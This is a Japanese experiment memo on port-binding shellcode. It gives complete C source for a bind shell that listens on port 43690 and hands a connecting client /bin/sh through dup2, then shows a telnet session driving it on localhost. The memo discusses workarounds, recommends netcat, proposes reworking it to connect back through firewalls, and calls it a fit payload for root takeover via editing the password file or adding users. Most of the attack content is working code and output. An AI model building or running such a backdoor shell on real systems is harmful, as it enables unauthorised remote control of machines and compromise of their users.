Port-Bindig Shellcodeの実験メモ。port-binding shellcodeはリモートexploitingで用いられるリモートシェルコードのひとつである。ソケット作成後に標準入出力、標準エラー出力とacceptされたソケットディスクリプタをdup2()で等価なものとみなさせ、その後execl()でシェルを起動するというものである。
リモートシェルコードで有名なものはinitd.confへのサービスの追加であるが、port binding shellcodeは入出力をソケットディスクリプタに対応させることでシェルへの入出力のバイパスを行う。
アセンブリによる記述の前に、C言語で同等の動作を行うコードを記述する。
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(){
char *name[2];
int fd,fd2,fromlen;
struct sockaddr_in serv;
fd=socket(AF_INET,SOCK_STREAM,0);
serv.sin_addr.s_addr=0;
serv.sin_port=0xAAAA;
serv.sin_family=AF_INET;
bind(fd,(struct sockaddr *)&serv,16);
listen(fd,1);
fromlen=16; /*(sizeof(struct sockaddr)*/
fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
/* "connect" fd2 to stdin,stdout,stderr */
dup2(fd2,0);
dup2(fd2,1);
dup2(fd2,2);
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
注意点はポート番号の設定である。ポート番号はネットワークバイト順で認識されるため、8ビットごとに区切って前後が逆に 構成される。しかし、AAAA=1010101010101010であればバイト順が入れ替わっても同じ数字、つまり43690を示すことになる。
ターゲット側ではこのソースをコンパイルし、次のように実行する。
glazheim:/home/defolos/Desktop# ./remortshell
アタッカー側では、telnetで先ほどのポート番号に接続すればシェルの入出力がバイパスされる。 なお、ここではローカルホストを用いて自分のマシンにループバックしている。
defolos@glazheim:~$ telnet localhost 43690 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. echo test test echo test > /test cat /test test : No such file or directory exit : numeric argument required Connection closed by foreign host. defolos@glazheim:~$
シェルに接続したアタッカーがtestファイルを作成し、ファイルの中に「test」と格納した。ターゲット側でtestの中身を確認する。
glazheim:/home/defolos/Desktop# cat /test test
testファイルに「test」という文字列が追加されているのが確認できる。
このシェルコードはいくつか問題点を抱えている。まず、シェルの入出力をバイパスするだけなのでプロンプトがアタッカー側から確認できない。さらに、コマンドの最後にひとつスペースを入れなければコマンドを正しく認識してくれない。例えば下記のよう に記述しなければうまく認識しない。
echo test[space][enter] cd /[space][enter]
また、vimのような外部プログラムを呼び出して作業することが不可能である。他のプログラムを起動させること自体はできるが、シェルの入出力のバイパスという仕事以上の領域になってしまうのでこちらから制御することができない。最後に、最も困ったトラブルについて言及する。lsコマンドがうまく機能しない。ls -laでディレクトリ内を閲覧しようとすると、オプションが不正というエラーが出てくる。そこで、次のようにしてディレクトリの詳細を表示しなければならない。
ls . -al : No such file or directory .: total 56 drwxrwsr-x 14 root staff 4096 Jul 28 09:40 . drwxr-xr-x 21 root root 4096 Aug 1 06:27 .. drwxrwxr-x 2 root SAS 4096 Jul 29 09:17 SAS_Workspace drwxr-sr-x 3 aquo staff 4096 Jun 3 08:59 aquo drwxr-xr-x 23 defolos defolos 4096 Aug 1 06:13 defolos drwxr-sr-x 2 ipusiron staff 4096 Jul 29 08:39 ipusiron drwxr-sr-x 2 kazuhiko staff 4096 Jul 29 09:17 kazuhiko drwxr-sr-x 2 kazui staff 4096 Jul 29 08:54 kazui drwxr-sr-x 5 minke staff 4096 Jul 29 08:31 minke drwxr-sr-x 2 mudai staff 4096 Jun 3 05:43 mudai drwxr-sr-x 2 nesys staff 4096 May 20 10:06 nesys drwxr-sr-x 2 rime staff 4096 May 20 09:35 rime drwxr-sr-x 2 talon staff 4096 May 20 09:59 talon drwxr-sr-x 2 yusiq staff 4096 Jun 3 09:39 yusiq
上記のサンプルはtelnetでつないだところで「ls . -al 」と入力した例である。.はカレントディレクトリを意味するので、現在のディレクトリの詳細表示ということになる。これ以外のコマンドでも最後にスペースを入れるのを忘れなければほとんどは利用可能である。
この問題点の解決には、接続にnetcatを利用する。windows版も「http://www.vulnwatch.org/netcat/」からダウンロード可能であり、最後のスペースやlsの細工が不要となるため、ncが用意できる環境であればこちらを利用すべきである。
もうひとつの重大な問題は、ファイアウォールに守られているシステムのコントロール権を奪うことが不可能だということである。こちらから良く分からないポートへ接続しようとしてもファイアウォールに防がれる可能性が高いので、ターゲットシステムからこちら側に接続をくれるように改良する必要がある。
確かにシェルの入出力をバイバスしただけなので操作しにくい面はあるが、パスワードファイルへの文字列の追加やユーザ追加コマンドなどは使えるので、root奪取のペイロードとしての妥当性はある。